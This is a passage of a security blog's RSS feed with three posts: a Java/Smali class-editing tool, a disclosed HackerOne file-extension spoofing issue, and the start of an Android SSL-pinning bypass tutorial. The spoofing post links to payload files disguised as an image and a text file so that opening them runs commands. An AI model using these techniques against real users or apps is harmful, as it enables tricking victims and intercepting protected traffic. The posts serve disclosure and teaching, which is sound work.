&lt;div class=&quot;MsoNormal&quot; style=&quot;background-color: white; line-height: normal; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;background-color: transparent; font-size: 18px;&quot;&gt;&lt;span style=&quot;color: #222222; font-family: &amp;quot;times new roman&amp;quot; , serif;&quot;&gt;&lt;b&gt;ClassModifier_lib&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #222222; font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 13.2px;&quot;&gt;&lt;span style=&quot;font-size: 18px;&quot;&gt;&lt;b&gt;&amp;nbsp;Folder&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13.2px; line-height: normal; margin-bottom: 0in;&quot;&gt;
&lt;/div&gt;
&lt;span style=&quot;color: #24292e; font-family: , &amp;quot;blinkmacsystemfont&amp;quot; , &amp;quot;segoe ui&amp;quot; , &amp;quot;helvetica&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif , &amp;quot;apple color emoji&amp;quot; , &amp;quot;segoe ui emoji&amp;quot; , &amp;quot;segoe ui symbol&amp;quot;;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;ol style=&quot;background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13.2px;&quot;&gt;
&lt;li style=&quot;margin: 0px 0px 0.25em; padding: 0px;&quot;&gt;It comes along with the software&lt;/li&gt;
&lt;li style=&quot;margin: 0px 0px 0.25em; padding: 0px;&quot;&gt;Contains the helper jars used by program&lt;/li&gt;
&lt;li style=&quot;margin: 0px 0px 0.25em; padding: 0px;&quot;&gt;ClassModifier_lib\userLibrary is automatically added in classpath while compiling code. If you wish to compile your code using external jars then place those external jars inside ClassModifier_lib\userLibrary&lt;/li&gt;
&lt;/ol&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; color: #24292e; font-size: 16px; margin-bottom: 16px;&quot;&gt;
&lt;b style=&quot;color: #222222; font-family: &amp;quot;times new roman&amp;quot;, serif; font-size: 18px;&quot;&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b style=&quot;color: #222222; font-family: &amp;quot;times new roman&amp;quot;, serif; font-size: 18px;&quot;&gt;How to Use:&lt;/b&gt;&lt;/div&gt;
&lt;ul style=&quot;background-color: white; box-sizing: border-box; color: #24292e; font-size: 16px; margin-bottom: 0px; margin-top: 0px; padding-left: 2em;&quot;&gt;
&lt;li style=&quot;box-sizing: border-box;&quot;&gt;Open the Java class to be Modified&lt;/li&gt;
&lt;li style=&quot;box-sizing: border-box; margin-top: 0.25em;&quot;&gt;On opening, ClassModifier will open the Smali version of the class file&lt;/li&gt;
&lt;li style=&quot;box-sizing: border-box; margin-top: 0.25em;&quot;&gt;Edit the smali file and make the required changes&lt;/li&gt;
&lt;li style=&quot;box-sizing: border-box; margin-top: 0.25em;&quot;&gt;Save the smali file&amp;nbsp;&lt;/li&gt;
&lt;li style=&quot;box-sizing: border-box; margin-top: 0.25em;&quot;&gt;Modified java class file will be created which can be anytime exported using the File -&amp;gt; Export Class button.&lt;/li&gt;
&lt;li style=&quot;box-sizing: border-box; margin-top: 0.25em;&quot;&gt;Since Smali editing can be difficult, 2 options are provided - Java 2 Smali Helper and vice-versa.&lt;/li&gt;
&lt;li style=&quot;box-sizing: border-box; margin-top: 0.25em;&quot;&gt;As name suggests, Java 2 Smali Helper lets you see the Smali equivalent code for the input Java code.&lt;/li&gt;
&lt;li style=&quot;box-sizing: border-box; margin-top: 0.25em;&quot;&gt;Similarly, Smali&amp;nbsp;2 Java Helper lets you see the Java equivalent code for the input Smali code.&lt;/li&gt;
&lt;/ul&gt;
&lt;span style=&quot;color: #24292e; font-family: , &amp;quot;blinkmacsystemfont&amp;quot; , &amp;quot;segoe ui&amp;quot; , &amp;quot;helvetica&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif , &amp;quot;apple color emoji&amp;quot; , &amp;quot;segoe ui emoji&amp;quot; , &amp;quot;segoe ui symbol&amp;quot;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;b style=&quot;background-color: white; color: #222222; font-family: &amp;quot;times new roman&amp;quot;, serif; font-size: 18px;&quot;&gt;Screenshot:&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b style=&quot;background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13.2px;&quot;&gt;&lt;br /&gt;&lt;/b&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQ115wItsn2vSc0-hwgK5-7WS97D5LETTXjtObg3kO5ayiH-nUC9ewcT5IwmwzW-B80298XHUbhIsOJgEpHOzPpD0HYw2GfavRmZOxAejoqfCZmukuKUOWhbAxJhdLUYNXf_IAES-4gLk3/s1600/Software.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;907&quot; data-original-width=&quot;1542&quot; height=&quot;376&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQ115wItsn2vSc0-hwgK5-7WS97D5LETTXjtObg3kO5ayiH-nUC9ewcT5IwmwzW-B80298XHUbhIsOJgEpHOzPpD0HYw2GfavRmZOxAejoqfCZmukuKUOWhbAxJhdLUYNXf_IAES-4gLk3/s640/Software.PNG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;b style=&quot;background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13.2px;&quot;&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b style=&quot;background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13.2px;&quot;&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b style=&quot;background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13.2px;&quot;&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b style=&quot;background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13.2px;&quot;&gt;Note: This software is meant for educational purpose only. Don&#39;t use it for any illegal activity.&lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
</description><link>https://cooltrickshome.blogspot.com/2019/01/classmodifier-utility-to-easily-modify.html</link><author>noreply@blogger.com (csanuragjain)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQ115wItsn2vSc0-hwgK5-7WS97D5LETTXjtObg3kO5ayiH-nUC9ewcT5IwmwzW-B80298XHUbhIsOJgEpHOzPpD0HYw2GfavRmZOxAejoqfCZmukuKUOWhbAxJhdLUYNXf_IAES-4gLk3/s72-c/Software.PNG" height="72" width="72"/><thr:total>7</thr:total><georss:featurename>India</georss:featurename><georss:point>20.593684 78.962880000000041</georss:point><georss:box>-8.6041045000000018 37.654286000000042 49.7914725 120.27147400000004</georss:box></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1099539711585569086.post-7293354746055484502</guid><pubDate>Fri, 16 Nov 2018 12:46:00 +0000</pubDate><atom:updated>2018-11-16T04:46:11.153-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">content-type</category><category domain="http://www.blogger.com/atom/ns#">extension</category><category domain="http://www.blogger.com/atom/ns#">file</category><category domain="http://www.blogger.com/atom/ns#">hack</category><category domain="http://www.blogger.com/atom/ns#">image</category><category domain="http://www.blogger.com/atom/ns#">parsing</category><category domain="http://www.blogger.com/atom/ns#">spoof</category><title>Spoofing file extensions on HackerOne</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
While testing HackerOne, I observed an issue with the file upload functionality. It seems that on File upload, the uploader uses the content within the file for determining the content type of file instead of filetype .&lt;br /&gt;
&lt;br /&gt;
Although this does not pose much of a risk since the changed extensions would be visible at download time but wanted to blog about this.&lt;br /&gt;
&lt;br /&gt;
This raises below 2 scenario:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Scenario 1&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Open any of your Hackerone report&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Upload the batch.cmd from &lt;a href=&quot;https://github.com/csanuragjain/roughProj/blob/master/batch.cmd?raw=true&quot;&gt;https://github.com/csanuragjain/roughProj/blob/master/batch.cmd?raw=true&lt;/a&gt; in comment and post the comment&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8ahiYwmMCdVbhfw0i_-BJoRqK6U1Cy3rPf00rFh8OEZhI3DYoH0xpWyC677RQVS6c5cRXPkONmj2_u8aOADRq4zOXfZCZZ64awa4sd6ZGWLgwxpeQafbrOvfnwS8yO8PaqnaUgXI_A7zm/s1600/S1_File_uploaded.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;224&quot; data-original-width=&quot;1182&quot; height=&quot;120&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8ahiYwmMCdVbhfw0i_-BJoRqK6U1Cy3rPf00rFh8OEZhI3DYoH0xpWyC677RQVS6c5cRXPkONmj2_u8aOADRq4zOXfZCZZ64awa4sd6ZGWLgwxpeQafbrOvfnwS8yO8PaqnaUgXI_A7zm/s640/S1_File_uploaded.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Open the batch.cmd on the posted comment&lt;/li&gt;
&lt;li&gt;Observe an image gets represented and their is no warning from HackerOne&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLzqMk76ZWAJxKVO1u-FLIKM7PUhdK2hl-UpBk5ahlDSQ8ysRbzyqUSmocw-EZWjS806-EVvDU_C3e4-l8rXXXxG_ibJGGSFrEX4ldzoxhOqn8YBTGLBpuhBamX955U7kEHWCO04FE3rZJ/s1600/S1_Image_shown_on_opening_cmd_with_no_warning.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;418&quot; data-original-width=&quot;961&quot; height=&quot;278&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLzqMk76ZWAJxKVO1u-FLIKM7PUhdK2hl-UpBk5ahlDSQ8ysRbzyqUSmocw-EZWjS806-EVvDU_C3e4-l8rXXXxG_ibJGGSFrEX4ldzoxhOqn8YBTGLBpuhBamX955U7kEHWCO04FE3rZJ/s640/S1_Image_shown_on_opening_cmd_with_no_warning.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;User downloads the file, thinking of it as an image file&amp;nbsp;&lt;/li&gt;
&lt;li&gt;if the user accidentally ignores the downloaded file extensions opens it then malicious batch file gets executed&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyrwxXl_LToHrYC134ZEcl9lj5fnXoOXq0iKtuAQhONu59DLtFphcjPgY9mvv3VM0zfqMyR3_oqKORLREobxgUAuUv8aUFRAR45YdVcnjFMeRTXNLmk2NsQGhnLZMJs7KP5Xzm3PU22cot/s1600/S1_On_opening_ran_system_commands_on_Safari.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;637&quot; data-original-width=&quot;1600&quot; height=&quot;252&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyrwxXl_LToHrYC134ZEcl9lj5fnXoOXq0iKtuAQhONu59DLtFphcjPgY9mvv3VM0zfqMyR3_oqKORLREobxgUAuUv8aUFRAR45YdVcnjFMeRTXNLmk2NsQGhnLZMJs7KP5Xzm3PU22cot/s640/S1_On_opening_ran_system_commands_on_Safari.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Scenario 2&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Open any of your Hackerone report&lt;/li&gt;
&lt;li&gt;Upload the myFile.txt from &lt;a href=&quot;https://raw.githubusercontent.com/csanuragjain/roughProj/master/myFile.txt&quot;&gt;https://raw.githubusercontent.com/csanuragjain/roughProj/master/myFile.txt&lt;/a&gt; in comment and post the comment&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdVO1yMX8lHS7tyWIeG4IZb_deA7j7R1GsMtCdcUDoIKLnZgvdayU9Bw-cNvnoF8YGl9ixBM1GO9FLTKVD4pyf9O5tIOtunmEs_4EScCsPGocFlWZxWF7P1r-Ogl6j8eW1YM1FY1bJVD-c/s1600/S2_File_uploaded.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;213&quot; data-original-width=&quot;1107&quot; height=&quot;122&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdVO1yMX8lHS7tyWIeG4IZb_deA7j7R1GsMtCdcUDoIKLnZgvdayU9Bw-cNvnoF8YGl9ixBM1GO9FLTKVD4pyf9O5tIOtunmEs_4EScCsPGocFlWZxWF7P1r-Ogl6j8eW1YM1FY1bJVD-c/s640/S2_File_uploaded.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Open the myFile.txt on the posted comment&lt;/li&gt;
&lt;li&gt;You will see a warning from Hackerone, but since the file is txt file so user might just go ahead&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-vR47Ok8JGx2o4m1bEFICfge9Xih82o8k6wMGE1Cv7RFb30FdGtRLtPqKyoKKwbYaA3cfYTEZchZHVPuztpzr4mwF9I5LbQOCwurvimNNMIXWsYEEUPs1QY9DwDkNWsQl7YK95rhTZ52-/s1600/S2_warning_comes_but_since_its_txt_file_so_ignored.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;276&quot; data-original-width=&quot;738&quot; height=&quot;238&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-vR47Ok8JGx2o4m1bEFICfge9Xih82o8k6wMGE1Cv7RFb30FdGtRLtPqKyoKKwbYaA3cfYTEZchZHVPuztpzr4mwF9I5LbQOCwurvimNNMIXWsYEEUPs1QY9DwDkNWsQl7YK95rhTZ52-/s640/S2_warning_comes_but_since_its_txt_file_so_ignored.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;User downloads the file, thinking of it as an text file&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOaj0Cf0PKdwYj5cypzgbZjShqHvmW-wspRNATtmtgzeKf4gTZnrm_Qb1ozh2tiMqBLg37fMDAosNsuRLAKZ7oPHXWDZ8bUjNqpbAoIwrk6wy2PmSy5C8wfcEHBq0peuyGQ8upsE8xNWYj/s1600/S2_Downloaded_as_html_file_instead_of_txt.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;64&quot; data-original-width=&quot;283&quot; height=&quot;90&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOaj0Cf0PKdwYj5cypzgbZjShqHvmW-wspRNATtmtgzeKf4gTZnrm_Qb1ozh2tiMqBLg37fMDAosNsuRLAKZ7oPHXWDZ8bUjNqpbAoIwrk6wy2PmSy5C8wfcEHBq0peuyGQ8upsE8xNWYj/s400/S2_Downloaded_as_html_file_instead_of_txt.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;if the user accidentally ignores the downloaded file extensions opens it then malicious HTML scripts execute&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-0CTFeex8YMUI9GTHAXvH0-vqAdr4xck7oCOpfmM8L2159hTcf2T99ubkWmtEQpjcsWTMq9lBd6UUxa03ecr5R3icO7rcJwR9XzqrzpCo9b_hOrUsudG9IQWoIU_R-ov03xQzeW5pMKn9/s1600/S2_malicious_script_on_opening_downloaded_txt.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;174&quot; data-original-width=&quot;556&quot; height=&quot;125&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-0CTFeex8YMUI9GTHAXvH0-vqAdr4xck7oCOpfmM8L2159hTcf2T99ubkWmtEQpjcsWTMq9lBd6UUxa03ecr5R3icO7rcJwR9XzqrzpCo9b_hOrUsudG9IQWoIU_R-ov03xQzeW5pMKn9/s400/S2_malicious_script_on_opening_downloaded_txt.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;Reason:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;ol style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Content-Disposition: attachment; filename=&quot;&quot; in response from hackerone-attachments.s3.amazonaws.com does not contain filename, forcing browser to decide the naming convention.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Since the Content type got decided on basis of file content header instead of extension by HackerOne so few browser would simply save it on user computer with incorrect extension, which caused the above Scenarios 1 and 2&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
&lt;b&gt;HackerOne Report:&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href=&quot;https://hackerone.com/reports/268123&quot;&gt;https://hackerone.com/reports/268123&lt;/a&gt;&amp;nbsp;(Closed as Informative)&lt;/div&gt;
&lt;/div&gt;
</description><link>https://cooltrickshome.blogspot.com/2018/11/spoofing-file-extensions-on-hackerone.html</link><author>noreply@blogger.com (csanuragjain)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8ahiYwmMCdVbhfw0i_-BJoRqK6U1Cy3rPf00rFh8OEZhI3DYoH0xpWyC677RQVS6c5cRXPkONmj2_u8aOADRq4zOXfZCZZ64awa4sd6ZGWLgwxpeQafbrOvfnwS8yO8PaqnaUgXI_A7zm/s72-c/S1_File_uploaded.png" height="72" width="72"/><thr:total>4</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1099539711585569086.post-8526617236120864010</guid><pubDate>Sat, 03 Nov 2018 12:21:00 +0000</pubDate><atom:updated>2018-11-03T05:21:09.089-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">android</category><category domain="http://www.blogger.com/atom/ns#">apk</category><category domain="http://www.blogger.com/atom/ns#">bounty</category><category domain="http://www.blogger.com/atom/ns#">burp</category><category domain="http://www.blogger.com/atom/ns#">bypass</category><category domain="http://www.blogger.com/atom/ns#">connection</category><category domain="http://www.blogger.com/atom/ns#">device</category><category domain="http://www.blogger.com/atom/ns#">hack</category><category domain="http://www.blogger.com/atom/ns#">intercept</category><category domain="http://www.blogger.com/atom/ns#">justtrustme</category><category domain="http://www.blogger.com/atom/ns#">memu</category><category domain="http://www.blogger.com/atom/ns#">mobile</category><category domain="http://www.blogger.com/atom/ns#">proxy</category><category domain="http://www.blogger.com/atom/ns#">root</category><category domain="http://www.blogger.com/atom/ns#">ssl</category><category domain="http://www.blogger.com/atom/ns#">ssl pinning</category><category domain="http://www.blogger.com/atom/ns#">wifi</category><category domain="http://www.blogger.com/atom/ns#">xposed</category><title>SSL Pinning bypass on Android Emulator</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Recently I developed interest in analyzing the Android apk network traffic.&lt;br /&gt;
&lt;br /&gt;
I was able to capture traffic using HTTP interceptor for some of the apk but many other apk started giving error in interceptor - &quot;The client failed to negotiate SSL connection&quot;.&lt;br /&gt;
&lt;br /&gt;
On searching this issue, I came to know that apk are performing SSL pinning. In order to capture traffic for these apk, I need to bypass the SSL pinning. After reading multiple articles, I founded this easy way of performing the same.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Requirements:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;ol style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Burp Suite -&amp;nbsp;&lt;a href=&quot;https://portswigger.net/burp/communitydownload&quot;&gt;https://portswigger.net/burp/communitydownload&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;XPosed apk framework: &lt;a href=&quot;https://forum.xda-developers.com/showthread.php?t=3034811&quot;&gt;https://forum.xda-developers.com/showthread.php?t=3034811&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;JustTrustMe -&amp;nbsp;&lt;a href=&quot;https://github.com/Fuzion24/JustTrustMe/releases&quot;&gt;https://github.com/Fuzion24/JustTrustMe/releases&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Memu Android emulator -&amp;nbsp;&lt;a href=&quot;https://www.memuplay.com/&quot;&gt;https://www.memuplay.com/&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Steps:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Configuring Burp Suite:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;ol style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Install Burp Suite from&amp;nbsp;&lt;a href=&quot;https://portswigger.net/burp/communitydownload&quot;&gt;https://portswigger.net/burp/communitydownload&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Follow all steps mentioned at&amp;nbsp;&lt;a href=&quot;https://support.portswigger.net/customer/portal/articles/1816883-getting-started-with-burp-suite&quot;&gt;https://support.portswigger.net/customer/portal/articles/1816883-getting-started-with-burp-suite&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;For our case, we are setting Burp to listen to all interfaces on 8085 port&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8C9bn8ZqDRAsV0qILl3APUTAIbL3pnaKIpbAus8ToOBl_0Yibp9ukfgW6qztdIsFVttXH61j_BTY-x7fCvTV996bbsKX80aQKDJVZnOYl-aoD7m0GLJSu-OWeIoj3BtWiGr6wP12Z3kqv/s1600/1.PNG&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;496&quot; data-original-width=&quot;941&quot; height=&quot;337&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8C9bn8ZqDRAsV0qILl3APUTAIbL3pnaKIpbAus8ToOBl_0Yibp9ukfgW6qztdIsFVttXH61j_BTY-x7fCvTV996bbsKX80aQKDJVZnOYl-aoD7m0GLJSu-OWeIoj3BtWiGr6wP12Z3kqv/s640/1.PNG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;XPosed apk framework:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;ol style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Download the framework from&amp;nbsp;&lt;a href=&quot;https://forum.xda-developers.com/showthread.php?t=3034811&quot;&gt;https://forum.xda-developers.com/showthread.php?t=3034811&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;For my case the download link was&amp;nbsp;&lt;a href=&quot;https://forum.xda-developers.com/attachment.php?attachmentid=4393082&amp;amp;d=1516301692&quot;&gt;https://forum.xda-developers.com/attachment.php?attachmentid=4393082&amp;amp;d=1516301692&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTNC3gG2p_Vl6IKTkksQZJdmpu-T0F4aa5F31M92Uq0OkF4lztZSpb9aJPu_YeeLuTxM0VNV2886mWoVJw1MiG7Q118-q6xtFXGQEOSX-eVPnqn5fUj_lGcciPijh6tcY489zS-U8AZz2W/s1600/2.PNG&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;445&quot; data-original-width=&quot;1466&quot; height=&quot;194&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTNC3gG2p_Vl6IKTkksQZJdmpu-T0F4aa5F31M92Uq0OkF4lztZSpb9aJPu_YeeLuTxM0VNV2886mWoVJw1MiG7Q118-q6xtFXGQEOSX-eVPnqn5fUj_lGcciPijh6tcY489zS-U8AZz2W/s640/2.PNG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;JustTrustMe&amp;nbsp;apk:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;ol style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Download the apk from&amp;nbsp;&lt;a href=&quot;https://github.com/Fuzion24/JustTrustMe/releases&quot;&gt;https://github.com/Fuzion24/JustTrustMe/releases&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;For my case it came out to be&amp;nbsp;&lt;a href=&quot;https://github.com/Fuzion24/JustTrustMe/releases/download/v.2/JustTrustMe.apk&quot;&gt;https://github.com/Fuzion24/JustTrustMe/releases/download/v.2/JustTrustMe.apk&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
